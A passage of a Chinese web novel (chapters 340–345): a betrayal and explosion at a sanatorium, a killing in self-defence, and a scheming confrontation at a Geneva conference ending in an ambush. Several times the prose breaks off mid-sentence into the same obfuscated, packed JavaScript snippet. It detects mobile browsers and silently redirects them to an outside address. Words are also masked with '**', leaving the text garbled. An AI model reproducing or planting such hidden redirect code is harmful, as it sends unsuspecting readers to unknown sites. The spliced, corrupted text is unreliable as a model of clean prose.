“……天意,真是天意。”钱老先生的声音,带着宿命般的感慨,从听筒里传来,“一个星期后,在瑞士有一场世界顶级的文物修复与鉴定研讨会。赫尔曼·冯·克虏伯是那场会议的名誉主席,每年都会亲自出席。” “我和林家会动用所有关系,给绵绵伪造一个身份——来自东方的、名不见经传,但技艺高超的古文物修复专家。” 这个身份,是把双刃剑。 它能让秦绵绵合理地出现在赫尔曼面前。但同时,也会让她在无数世界级专家的审视下,像一只混入狼群的羊,任何一个细节出错,都会满盘皆输。 “就这么定了。”秦绵绵替所有人做出了决定,“我们先回海城,准备出发。” 众人收拾好东西,准备离开这个令人压抑的地方。 可就在秦绵绵的手,即将推开实验室那扇破旧木门的时候—— “哐——!” 一声巨响,从他们来时的方向传来。 众人脸色剧变,立刻冲出实验室,奔向疗养院的出口。 那扇他们进来的铁皮小门,此刻,竟被一块从天而降的巨大水泥板,死死地堵住了! 而疗养院那扇锈迹斑斑的正门,不知何时,竟被沉重的铁链从外面一圈圈地锁死,锁头上,还挂着一把崭新的、锃亮的大锁。 他们被困住了。 第340章 抱歉各位 就在这时,一个穿着灰色工装服、戴着鸭舌帽的身影,从主楼焦黑的骨架后,慢慢走了出来。 他手里拎着一个工具箱,步履从容,仿佛只是个来这里检修线路的普通工人。 直到他抬起头,摘下帽子,露出一张众人再熟悉不过的、憨厚温和的脸。 “赵叔?”朱七妹失声叫道。 赵立生。 他看着一脸惊愕的众人,露出了一个歉意的微笑。 “抱歉,各位。本来,我们还可以是朋友的……” 赵立生的笑容,和他从前憨厚可靠的模样,形成了一种令人头皮发麻的割裂感。 那张从前让众人信任的脸,此刻在阴沉的天色下,像一张画在墙上的**,笑意不达眼底。 朱七妹浑身的血液仿佛都凝固了,她嘴唇哆嗦着,一个字也说不出来。 这个男人,曾帮她修过漏水的屋顶,曾给小宝买过糖画,曾用那双粗糙的手,为客栈的门廊挂上过灯笼。 “为什么?”秦绵绵的声音打破了死寂。她没有问“你是谁”,而是直接问了“为什么”。 赵立生脸上的笑意更深了些,像是欣慰于她的聪慧。 “小秦丫头,我也不想走到这一步。”他叹了口气,那神态,和过去在客栈后里抱怨菜有点咸时一模一样,“我父亲叫严启山……我就是他的养子。” 一句话,像道旱雷,在众人头顶炸开。 严启山……那个盗宝案的出资人,那个死在这家疗养院里的关键人物。 当初资料上显示赵立生的时候,林鸢动用家族关系网都未能查出他跟此事的关联,那时他们只以为是重名! 可见赵立生掩藏的多么好! 可没想到这样的隐秘,今天就这么被他轻描淡写地说了出来。 “我父亲不是死于心脏病,他是被安德森杀死的。”赵立生的语气很平静,像是在说一件与自己无关的旧事,“安德森那个疯子,发现了‘归墟之门’的秘密,却没能力打开。他骗我父亲说,佛舍利是开启大门的钥匙,骗我父亲出钱帮他寻找。可当他发现佛舍利对他没用,只想卖掉换钱时,我父亲不准,于是他就动了手。” 他拍了拍自己腰间一个鼓囊囊的帆布包,发出沉闷的碰撞声。 “佛头和佛手,我替你们保管了。至于佛舍利,拜你们所赐,我也知道在哪儿了。”他看着秦绵绵,眼神里带着一种古怪的、近乎怜悯的遗憾,“本来你们可以不用死的……其实我多么希望,我还是你们的那个赵叔……可惜了……” 话音落下的瞬间,他没有再多说一个字的废话,转身就朝院子深处走去。 他走得不快,却笃定他们无法追上。 “想走?”萧玦身后的一个黑衣人低喝一声,抬手就是一枪。 **呼啸着擦过赵立生的耳侧,在他身后的墙壁上迸出一簇火星。 赵立生脚步一顿,头也没回,只是从口袋里掏出一个小巧的遥控器,轻轻按了一下。 “轰隆——!” 众人头顶,那栋早已被烧成骨架的主楼,发出一阵令人牙酸的金属扭曲声。几根连接着承重墙的钢筋应声而断,大块大块的水泥预制板,开始松动、剥落! 这个疯子,在疗养院里埋了**! “他想把我们活埋在这里!”姜敬意发出一声变了调的尖叫。 混乱中,秦绵绵的目光死死锁定着赵立生即将消失在拐角处的背影。 她不能让他走! 电光石火间,她看到了脚边一块因年久失修而翘起的水泥地砖。 她想也没想,用尽全身力气一脚踹在地砖的边缘。那块足有十斤重的水泥块,带着尖锐的破风声,旋转着飞向赵立生。 赵立生似乎背后长了眼睛,猛地一个矮身,水泥块贴着他的头皮飞过,砸在远处的墙上,摔得粉碎。 但也因为这个停顿,他暴露在了萧玦另一个手下的枪口下。 可就在枪响的前一刻,赵立生再次按下了遥控器。 这一次,坍塌的不是别处,正是秦绵绵头顶上方,那截悬空的、早已断裂的露天长廊! 巨大的阴影当头罩下。 秦绵绵只觉一股无可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029916|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抗拒的巨力从身侧传来,整个人被狠狠地撞开。 不是姚祁,也不是林鸢。 是萧玦。 他的轮椅,以一种自毁般的速度撞了过来,将她推出了坍塌的核心范围。 而他自己,连同那架昂贵的轮椅,被一块坠落的水泥横梁,结结实实地砸中了! “噗——” 轮椅的金属支架瞬间扭曲变形,发出一声刺耳的悲鸣。 萧玦一口鲜血喷了出来,溅在身前冰冷的地面上,像几点仓皇开放的红梅。 他整个人瘫软下去,后背被砸得血肉模糊。 时间,在这一刻仿佛被按下了慢放键。 赵立生错愕地回头。 姚祁等人惊骇地扑向萧玦。 而秦绵绵,在被推开翻滚了两圈后,撑着地站了起来。 她看着倒在血泊里的萧玦,又看了看那个造成这一切的元凶,那双总是平静无波的眼睛里,有什么东西在翻涌。 她弯下腰,从身边的建筑垃圾里,捡起了一根一米多长、端口尖锐的生锈钢筋。 她握着那根钢筋,像握着一把剑,一步步地,走向赵立生。 赵立生从震惊中回过神,看着朝自己走来的秦绵绵,脸上第一次露出了惊惧的表情。 他想再按遥控器,却发现秦绵绵离他已经不到五米。 这个距离,任何**都会波及到他自己。 “你别过来!”他厉声喝道。 秦绵绵没有理他,脚步不停。 她的眼神,像是在看一个**。 赵立生彻底慌了,他从腰后拔出一把**,色厉内荏地吼道:“我说了你别过来!小心我跟你同归于尽!” 他吼叫着,挥舞着**朝秦绵绵冲了过来。 可他的动作,在秦绵绵眼中,慢得像场滑稽的默剧。 在那把**即将触碰到她的前一秒,她侧身,闪避,手中的钢筋,借着他前冲的力道,从一个匪夷所思的角度,向前递出。 没有阻碍。钢筋冰冷的尖端,从赵立生的后心,穿胸而过。 第341章 再见赵叔 赵立生前冲的势头戛然而止。 他僵在原地,低头看了看自己胸口透出的那截锈迹斑斑的铁器,又抬起头,难以置信地看着秦绵绵。 他脸上的憨厚、算计、惊恐,最终都凝固成一片空白。 “你……”他只来得及吐出一个字,身体便软软地倒了下去,再没了声息。 天上不知道什么时候下起了雨。 许久许久之后,秦绵绵摸了一把脸,缓缓闭上眼睛。 “再见,赵叔。” …… 夜色,重新笼罩了海城。 萧玦被紧急送到了医院,手术做了两个小时,很成功。 赵立生的尸体,连同他那个装满了秘密的帆布包,被萧玦的人处理得干干净净。 第二天早晨,秦绵绵起的很早,一个人待在旁边的陪护房间里。 她面前的桌子上,摊开放着从赵立生包里找回的佛头、佛手,还有一本严启山留下的、更详尽的笔记。 她赢了。 可她感觉不到丝毫胜利的喜悦,只有一种深入骨髓的疲惫和寒冷。 虽然不想承认,但她已经确实地感觉到,事情开始朝着不可控的方向发展了。 这不仅仅是她一个人的平静生活被打破。 这件事,已经牵连了越来越多的人,所有人都跟她一起,被卷入了这深不见底的漩涡。 有的人**,有的人失去了本来面目,有的人变得让人陌生…… 他们……再也回不去了。 就在这时,隔壁房间,传来一阵轻微的响动。 秦绵绵起身,走到门口,手放在门把上,却迟迟没有转动。 她忽然不知道该用什么表情去面对萧玦。 奇怪的感觉漫上心头。 萧玦的几次相救,就完全超出了她的预期,也跟他素来的为人背道而驰。 这到底是为什么? …… 医院的消毒水气味,浓得化不开。 萧玦醒来时,窗外天光已经泛白。 他动了动,撕裂般的痛楚从后背传来,让他几近昏厥。 病房门被推开,林鸢和一名穿着白大褂的医生走了进来。 “萧先生,你醒了。你背部多处骨裂,还有严重的软组织挫伤,必须留院观察至少半个月。”医生拿着病历板,语气不容置喙。 萧玦眼皮都未抬一下,声音沙哑得像是砂纸在摩擦:“回客栈。” “不行!”林鸢立刻反对,“你的伤势很重,客栈没有专业的医疗条件,万一感染或者……” “我说,回客栈。”萧玦打断她。 那双眸子在晨光里,没有半分劫后余生的庆幸,只有被剧痛和噩梦熬出来的暴戾。他看向林鸢,像在看一个碍事的物件。 气氛瞬间僵住。 就在这时,秦绵绵从隔壁走了进来。 她换了一身干净的衣服,脸上看不出任何情绪,仿佛昨天那个在雨中手持钢筋、眼神骇人的女人只是众人的错觉。 她没看萧玦,只对林鸢说:“让他回去吧。” “绵绵!”林鸢无法理解。 “他死不了。”秦绵绵的语气很平淡,“把他放在我们眼皮子底下,总比让他待在别处要好。” 这句话,既是说给林鸢听的,也是说给病床上的萧玦听的。 萧玦扯了扯嘴角,牵动了背上的伤,疼得他脸色又白了几分,可那笑意却愈发古怪。他看着秦绵绵,眼神里探究的意味更多了些。 最终,林鸢妥协了。 当天下午,一辆医疗改装过的商务车,将萧玦连同他那架被砸得变了形的轮椅,一起送回了客栈。 回到客栈的第一个晚上,萧玦又做梦了。 梦里不再是那个阴森的大宅,也不是那个狰狞的面具。 他梦见自己站在一片火海里,不远处,秦绵绵正冷冷地看着他。 她的手里,握着那根沾着血的钢筋。 他想开口,却发现自己发不出声音。 秦绵绵朝他走过来,一步一步,不疾不徐。他没有躲,也无法躲。 她走到他面前,将那根钢筋递给了他。 “拿着。”她说。 他下意识地伸手去接,就在指尖触碰到冰冷铁器的瞬间,秦绵绵的脸,忽然变成了月娘的脸,那张脸上,挂着他又陌生又熟悉的、卑微又倔强的泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029917|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕。 “主人……求您……” 心口猛地一抽,像是被一只无形的手攥紧。 萧玦从梦中惊醒,后背的伤口冷汗淋漓,痛得钻心。 他喘着粗气,看着天花板,第一次对自己产生了怀疑。 不。 他救秦绵绵,绝对不是因为别的。 只是因为她是钥匙而已。 对,她是打开那扇门的钥匙,她不能死。 可梦里那种心悸的感觉,却像跗骨之蛆,怎么也甩不掉。 他觉得自己和秦绵绵走得太近了。 这很危险。 第二天,当朱七妹端着药碗进来时,萧玦正靠在床头,看着窗外发呆。 “吃药了。”朱七妹把碗重重地放在床头柜上,没好气地说。 萧玦没看她,目光却落在了跟在她身后,探头探脑的朱小宝身上。 “小宝?”他的声音依旧沙哑,却没了往日的阴鸷。 朱小宝被他看得有些害怕,往朱七妹身后缩了缩。 “打招呼。”朱七妹想了片刻,才推了儿子一把。 小宝这才小声地打了个招呼。 萧玦忽然笑了,他从枕头下摸出一个东西,扔到了床上。 那是一个用纯金打造的、做工极为精巧的陀螺,顶端还镶着一粒米粒大小的红宝石。 “拿着,见面礼。” 朱七妹脸色一变,立刻就要把东西还回去:“我们不要你的东西。” “给儿子,又不是给你。”萧玦淡淡地说,“我一个人待着也闷,让他陪我说说话。” 朱七妹还想拒绝,可朱小宝的眼睛,却被那个亮闪闪的陀螺吸引住了。他从未见过这么漂亮的东西。 看着儿子渴望的眼神,朱七妹把拒绝的话咽了回去。 她死死地盯着萧玦,像是在警告他不要耍花样。 接下来的几天,萧玦像是变了个人。 他不再言语刻薄,也不再散发那种生人勿近的气息。 他会主动找小宝说话,问他学了什么字,喜欢听什么故事。 在萧玦刻意的示好下,小宝从最初的畏惧,慢慢变成了好奇。 第342章 秦博士 他发现他这个名义上的“爸爸”虽然看起来很凶,但好像其实也没那么凶。 他也会笑,也会给他讲一些他从未听过的、关于遥远城堡和巨龙的奇怪故事。 这天下午,小宝第一次主动凑到萧玦的床边,小声问:“爸爸,你……还能站起来吗?” 萧玦是天残,但不仅仅是缺了手和脚那么简单。 否则他也不会在轮椅上过这么多年。 萧玦看着他,沉默了片刻,然后伸出那只没受伤的手,轻轻放在了小宝的头顶。 “站不起来了。”他低声道,“不过,这并不妨碍爸爸爱小宝,知道吗?” 朱小宝懵懂地点了点头。 朱七妹正巧在门口看到这一幕,心头莫名地窜起凉意。 理智上,她是完全不想跟萧玦有任何牵扯的。 甚至在疗养院的时候,知道了萧玦的真实目的,她已经对萧玦起了杀心。 就算没有他这个所谓的爸爸,她和朱小宝也能过得很好。 但是……小宝的心里,也许也是渴望有一个爸爸的吧。 想到这里,朱七妹的心里顿时泛起凉凉的酸意。 父母之间的恩怨,哪怕生死攸关,也跟孩子没关系。 小小的孩子,需要的不正是完整健康的家庭吗? 朱七妹在门外紧紧攥住了手。 但是此时此刻,并不是纠结这些的时候,她们接下来很快还有更重要的事情要面对。 …… 一周后。 瑞士,日内瓦。 世界顶级文物修复与鉴定研讨会的会场,设在日内瓦湖畔一座百年历史的酒店里。 水晶吊灯,天鹅绒地毯,衣香鬓影,觥筹交错。 秦绵绵穿着一身剪裁利落的黑色西装,长发在脑后挽成一个简单的髻,脸上未施粉黛。 她胸前挂着一张与会证,上面印着——“Dr.Qin”。 秦博士。 她独自站在巨大的落地窗前,看着窗外平静的湖面,整个人像一柄收在鞘里的利刃,与周围的热闹和奢华格格不入。 林鸢和姚祁扮作她的助理,站在不远处。 朱七妹则换上了一身不起眼的黑色套裙,像个影子,警惕地扫视着会场里的每一个人。 “赫尔曼·冯·克虏伯到了。”林鸢压低声音说。 秦绵绵回过头。 只见会场入口处,人群起了轻微的波澜。 一个身形清瘦、头发花白的德国老人,在一众人的簇拥下,缓缓走了进来。 他拄着一根黑色的手杖,眼神锐利得像鹰,扫过全场。 那就是他们的目标。 就在秦绵绵准备下一步计划的时候,入口处,又出现了一行人。 为首的,是一个坐在特制电动轮椅上的男人。他穿着一身熨帖的深灰色西装,脸色依旧苍白,但那双眼睛,却比在客栈时更加深沉。 是萧玦。 他竟然也跟来了。 他坐在特制的电动轮椅上,身后跟着两名神情冷峻的保镖,与这片衣香鬓影的奢华之地格格不入,却又自成一方气场,无人敢轻易靠近。 他的视线在秦绵绵脸上一掠而过,下颌几不可察地微微一收。 那是一个示意的动作。 一个代表他会提供协助的信号。 秦绵绵却像是没看见,平静地转过头,端起侍者托盘里的一杯香槟,走向会场角落。 酒会的主角是赫尔曼·冯·克虏伯,但秦绵绵没有贸然上前。 她很清楚,在这种场合,直接的攀附是最廉价也最无效的。 她需要一把钥匙,去开赫尔曼这把锁。 而这把钥匙,钱老已经为她准备好了。 秦绵绵绕开了那些围着主流藏家谈笑风生的圈子,径直走到一位戴着单片眼镜、正在研究墙上挂毯的比利时老人身边。 “这是十六世纪法兰德斯的作品,”她用流利的法语开口,声音不大,却足够清晰,“可惜修复手法太粗暴,用了化学粘合剂,破坏了羊毛纤维本身的韧性。” 老人回过头,有些意外地看着这个年轻的东方女人。 秦绵绵晃了晃手里的酒杯,唇角勾起一抹极淡的弧度: “其实这种损伤,不必填充。古代材料的‘内应力’可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧秀雅穿着一身璀璨的星钻晚礼服,挽着一名英俊的男伴,款款而来。 她本就美貌惊人,虽然年纪大了,但岁月不改其美,反而给她更增添了一些秦绵绵这个年纪的小姑娘所没有的独特韵味。 第343章 佛陀的心 她像是没看见秦绵绵一般,先是与赫尔曼亲**贴面,随即才故作惊讶地看向秦绵绵。 “哎呀,这不是秦小姐吗?真巧。”她笑得完美无瑕,眼底却是一片冰凉,“主席先生,我给您介绍一下,这位秦小姐,是我在国内一位朋友的……晚辈。” “晚辈”两个字,被她咬得又轻又慢,像一根淬了毒的银针。 它瞬间将秦绵绵刚刚建立起的“神秘专家”形象击得粉碎,把她从平等的对话者,拉低成了一个需要靠长辈关系才能站在这里的年轻人。 无声的阶层碾压,在觥筹交错间,已然完成。 赫尔曼脸上的那一丝兴趣,果然迅速褪去。 他重新用审视的目光打量着秦绵绵,语气也变得公事公办:“哦?那么,秦小姐,你修复过最珍贵的文物是什么?可否让我开开眼界?” 面对萧秀雅得意的眼神和赫尔曼的质询,秦绵绵却不卑不亢地笑了。 “我修复的东西,从不追求‘珍贵’,只追求‘完整’。” 她顿了顿,迎着赫尔曼的目光,一字一句地说道: “比如,一件失传的‘钥匙’……” 就在赫尔曼因“钥匙”二字而瞳孔微缩时,会场灯光一暗,主持人宣布,研讨会的技术展示环节正式开始。 萧秀雅作为克虏伯基金会特邀的嘉宾,要展示她最新的研究成果。 聚光灯下,她自信满满地走上台。 工作人员将一个密封的玻璃展柜推到台中央,里面是一块巴掌大小、枯黄脆弱的织物残片。 “这是从图坦卡蒙墓中发现的裹尸布残片,”萧秀雅的声音通过麦克风传遍全场,“我们发现,它所处的特殊能量场,会对周围的电磁波产生一种奇特的……导向性影响。” 她身后的大屏幕亮起,开始显示复杂的实时数据流。 “大家请看,当我们的特定频段信号穿过它时,数据模型会呈现出一个稳定的……” 萧秀雅的话音未落。 大屏幕上,原本平稳跳动的数据曲线,突然像受惊的野马般疯狂上蹿下跳,瞬间变成一团毫无规律的乱码。 全场哗然。 萧秀雅脸上的笑容僵住了。 还没等她反应过来,那团乱码之中,一个像素风格的、粉红色的卡通猪头图标,“duang”地一声弹了出来,还俏皮地晃了晃耳朵。 会场里死样的寂静,只持续了不到三秒。 那只粉红色的、像素风格的猪头,还在大屏幕上欢快地晃动着耳朵,像一个无声的嘲弄。 压抑的窃笑声先是从角落里响起,随即像病毒般蔓延开来,很快,整个会场都充斥着嗡嗡的议论和毫不掩饰的笑声。 一场顶级的学术研讨会,瞬间沦为了笑话集锦。 萧秀雅脸上的完美笑容寸寸碎裂,血色褪尽,又猛地涌上来,整张脸涨成了猪肝色。 “关掉!快给我关掉!”她再也维持不住优雅,失态地对着台下的技术人员厉声尖叫,“你们这群废物!怎么办事的!” 技术人员手忙脚乱,可无论怎么操作,那只猪头都顽固地霸占着屏幕,甚至还弹出了一个对话框:“您确定要关闭我吗?我这么可爱QAQ”。 这下,连几个原本还想保持风度的老教授都忍不住笑出了声。 混乱中,没人注意到,赫尔曼·冯·克虏伯的视线,早已从失控的台上挪开。 他看着歇斯底里的萧秀雅,那双鹰隼般的眼睛里,刚刚因为见到她而浮现的些许热络,如潮水般退去,只剩下冰冷、坚硬的,毫不掩饰的厌恶。 他看重的从来不是什么前沿技术,而是掌控力。 一个在危机面前如此失态的女人,暴露了她的器量,根本不配与他谈论那些超越凡俗的秘密。 会场里的权力天平,在这一刻,发生了无声却剧烈的倾斜。 人群的骚动,成了秦绵绵最好的掩护。 她没有动,只是静静地看着这一切,直到那份喧嚣达到顶峰。 她才迈开脚步,穿过幸灾乐祸的人群,不急不缓地走到了赫尔曼的身边。 她没有看他,目光落在远处那尊古罗马雕像上,声音很轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034193|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却像一枚精准的钉子,敲入赫尔曼的耳中。 “真正的‘神迹’,从不说谎。” “看来,萧女士的技术,还无法分辨神明与凡物。” 这句话,如同一道闪电,劈开了赫尔曼浑浊的思绪。 他猛地转过头,死死地盯住秦绵绵。 那眼神里,审视、轻慢、公事公办的态度荡然无存,取而代之的,是震惊与探究。 他挥了挥手,屏退了正要上前来询问的助手。 “跟我来。” 他用手杖敲了敲地面,不容置喙地转身,朝着旁边一间挂着“休息室”牌子的门走去。 …… 厚重的橡木门隔绝了外面的一切嘈杂。 房间里没有开灯,只有巨大的落地窗透进日内瓦湖的粼粼波光。 赫尔曼没有坐,他站在窗边,逆着光,像一尊沉默的剪影。 “你说的‘钥匙’,是什么?”他开门见山,声音沙哑,带着久居上位的压迫感。 秦绵绵知道,时机到了。 她没有被对方的气场压制,反而走上前,与他并肩看向窗外的湖面。 她没有直接回答,而是反问了一个看似毫不相干的问题。 “主席先生,您收藏的那颗佛陀的心……” 她的声音很平稳,每一个字都吐得清晰无比。 “是不是每逢雷雨交加的夜晚,都会发出微弱的光,并且,伴有类似梵音的低鸣?” 赫尔曼的身形,肉眼可见地剧震了一下。 他猛地转过身,瞳孔收缩到了极致,像两点危险的针尖。 这是他最大的秘密! 那件藏品自从到他手中,他从未对任何人提起过这种异象,甚至连他最亲近的家人都不知道! 他一直以为,那是自己过于痴迷而产生的幻觉! 眼前的这个女人……她怎么会知道?! 这一刻,他终于确信,这个年轻的东方女人,不是什么靠关系的晚辈,更不是什么哗众取宠的骗子。 她是真正懂得其中玄机的“同道中人”。 第344章 我不和贼合作 赫尔曼干枯的嘴唇翕动了几下,激动让他原本锐利的眼神变得有些狂热。 他几乎是抢着承认:“是……是的!你怎么会知道?你是谁?你到底是谁?!” 就在秦绵绵想要更进一步的时候, “砰——!” 休息室的门,被一股巨大的力量从外面猛地撞开。 萧秀雅带着几个神情冷峻的保镖闯了进来,她头发散乱,妆容也有些花了,手里捏着一部手机,屏幕正对着赫尔曼,上面是秦绵绵的个人资料。 “赫尔曼先生!别被她骗了!” 萧秀雅的声音尖利得像要划破人的耳膜。 “她根本不是什么修复专家!她叫秦绵绵,她就是个贼!她就是冲着您的藏品来的!” 这突如其来的闯入和指控,让房间里刚刚升腾起的狂热气氛瞬间凝固。 赫尔曼那张因激动而涨红的脸,缓缓沉了下来。 他没有去看歇斯底里的萧秀雅,而是将目光重新投向秦绵绵,那眼神,像是在用冰冷的刻刀,重新剖析她的每一寸骨骼。 秦绵绵很平静。 她甚至没有回头看萧秀雅一眼,仿佛身后那尖锐的叫嚷,不过是窗外偶尔掠过的飞鸟。 她只是静静地回望着赫尔曼,等着他的裁决。 这种极致的冷静,比任何辩解都更有力量。 赫尔曼眼中的狂热彻底褪去,恢复了属于权力顶端猎食者的审慎与冰冷。 他看了一眼状若癫狂的萧秀雅,又看了一眼静如深潭的秦绵绵,心中那杆天平,早已偏转。 但他没有表露分毫。 “是吗?”他缓缓开口,声音里听不出喜怒,“一个贼?” 他转向门口的安保人员,用手杖点了点地面,语气不容置喙: “研讨会的安保是怎么做的?把这位……秦小姐,和她的同伴,请出去。” 萧秀雅脸上露出胜利的狞笑。 秦绵绵却什么也没说,只是深深地看了赫尔曼一眼,然后转身,向门口走去。 就在与赫尔曼擦肩而过的一瞬间,老人用只有他们两人能听见的声音,沙哑地说道: “我不和贼合作,但我欣赏能带来‘惊喜’的客人。今晚的日内瓦很美,希望你的离开……也同样‘完整’。” “完整”两个字,他说得极轻,却像一枚烧红的烙铁,印在了秦绵绵的心上。 她脚步未停,领着自己的团队,在萧秀雅得意的注视和众人复杂的目光中,被“礼送”出了会场。 …… 回到下榻的酒店套房,气氛压抑得可怕。 “掌柜的,”朱七妹看着秦绵绵,眼神里满是担忧,“我们接下来怎么办?” 秦绵绵没有回答,她走到巨大的落地窗前,俯瞰着被夜色笼罩的日内瓦湖。 湖面波光粼粼,映着对岸的万家灯火,一派祥和。 但她知道,平静的水面下,尽是暗流。 “等着。”许久,她才吐出两个字。 姚祁若有所思: “‘完整’……赫尔曼最后说的那句话,是在暗示什么?” 秦绵绵嘴角勾起一抹微不可查的弧度。 “他在告诉我,我们的交易,还没有结束。” 话音刚落,房间的门铃响了。 朱七妹立刻警惕地贴到门边,通过猫眼向外看去,是一个穿着酒店制服的侍者,推着一辆餐车。 “我们没有叫客房服务。”朱七妹沉声道。 门外的侍者彬彬有礼地回答:“女士,这是赫尔曼·冯·克虏伯先生为您点的宵夜,他希望您在日内瓦能有一个……‘完整’的夜晚。” 又是“完整”。 朱七妹打开门,侍者将餐车推了进来,微笑着躬身退下。 餐车上盖着一个精致的银质餐盖。姚祁上前,一把掀开。 没有食物。 洁白的餐盘中央,静静地躺着一张卡片,上面用花体字写着一个地址和时间。 地址是城郊的一座私人码头。 时间,是两小时后。 这是赫尔曼的秘密邀约。 …… 同一时间,研讨会的贵宾休息室内。 萧秀雅端着酒杯,试图再次靠近赫尔曼,脸上的笑容重新变得完美无瑕:“主席先生,我就知道您明察秋毫,那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16034194|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江湖骗子……” “萧女士。”赫尔曼冷冷地打断了她,那双鹰隼般的眼睛里,满是毫不掩饰的厌恶,“你今天的表现,很失态。” 萧秀雅的笑容僵在脸上。 “一个连自己的情绪都控制不住的人,”赫尔曼站起身,居高临下地看着她,“没有资格,和我谈论任何关于‘掌控’的话题。” 说完,他头也不回地离开了休息室,留下萧秀雅一个人,在原地气得浑身发抖,昂贵的酒杯被她捏得咯吱作响。 耻辱,接二连三的耻辱! 她猛地将酒杯砸在地上,水晶的碎裂声刺耳无比。 她掏出手机,拨通了一个号码,声音因为愤怒而扭曲: “不管你用什么手段,把她给我弄来!记住,我要活的,她手里的东西我还没得到,让她就这么**,太便宜她了!” 电话那头传来一个低沉沙哑的声音:“夫人,赫尔曼那边……” “那个老东西不足为惧!”萧秀雅厉声尖叫,“他很快就会知道,谁才是他最正确的选择!动手!” 挂断电话,她看着窗外深沉的夜色,脸上浮现出病态的潮红和扭曲的快意。 而在城市的另一端,临湖的另一家酒店顶层套房里。 萧玦坐在特制的轮椅上,正对着一盘即将结束的棋局。 他面前的平板电脑屏幕上,一个红点,正在朝着地图上一个标记着“码头”的地点,悄然移动。 那是秦绵绵所在的位置。 而另一条线路上,数个代表着“未知力量”的蓝点,也正从四面八方,朝着同一个码头,形成一个包围圈。 他静静地看着屏幕上即将交汇的红点与蓝点,脸上没有任何表情。 许久,他才缓缓伸出手,拿起棋盘上的一枚黑色“炮”子,越过重重阻碍,轻轻地落在某个位置上。 “将军。” 他低声说道。 …… 前往码头的路,沿着日内瓦湖的边缘蜿蜒。 湖上起了雾,浓得像化不开的牛奶,将远处的灯火模糊成一片片柔和的光晕。 车内死寂,只有轮胎碾过湿滑路面的轻微嘶鸣。 第345章 在你死之前 朱七妹握着方向盘,肌肉紧绷,眼神透过后视镜,时刻警惕着后方那片虚无的黑暗。 姚祁抱着笔记本电脑,屏幕幽光映着他凝重的脸,手指悬在键盘上,随时准备应对任何电子层面的入侵。 秦绵绵靠在后座,阖着眼,仿佛睡着了。 就在车辆驶过一处被茂密林地包裹的弯道时,前方道路中央,一棵倒下的大树突然拦住了去路。 朱七妹猛地踩下刹车。 “不对劲。”她声音压得很低。 话音未落,两束刺目的车灯从后方密林中亮起,堵**他们的退路。 紧接着,左右两侧的树影里,数道黑影闪出,动作迅捷,悄无声息地形成了合围。 他们手中,都拿着制式统一的武器,枪口上的**,在雾气中泛着冰冷的金属光泽。 没有警告,没有喊话。 这是一场准备充分的、以活捉为目的的围猎。 “保护掌柜的!”朱七妹低吼一声,脚下用力,油门轰然炸响。 下一瞬就准备冲出包围圈,哪怕把这些人碾压也在所不惜。 然而这些人训练有素,且好像也已经觉得他们今天无处可逃,不仅丝毫不惧,反而还以最快的速度收紧包围圈。 压迫感几乎令人窒息。 就在这时。 “咻——” 一声微弱到几乎被风声掩盖的破空声响起。 包围圈最前方,一名正要上前的黑衣人,动作猛地一僵,他的眉心处,突然多了一个不起眼的红点。 他甚至来不及发出一丝声响,便软软地倒了下去。 所有人都是一愣。 紧接着,又是几声连贯的轻响,如同死神的精准点名。 又有三名黑衣人应声倒地,倒下的位置、姿态,都像是经过了精密计算,恰好在包围圈上撕开了几个缺口。 剩余的袭击者阵脚大乱,他们惊恐地寻找着攻击的来源,却只能看到一片沉沉的黑暗。 一辆黑色的商务车不知何时悄无声息地停在了远处山坡的制高点上。 车窗降下,露出萧秀雅那张因计划被打乱而扭曲的脸。 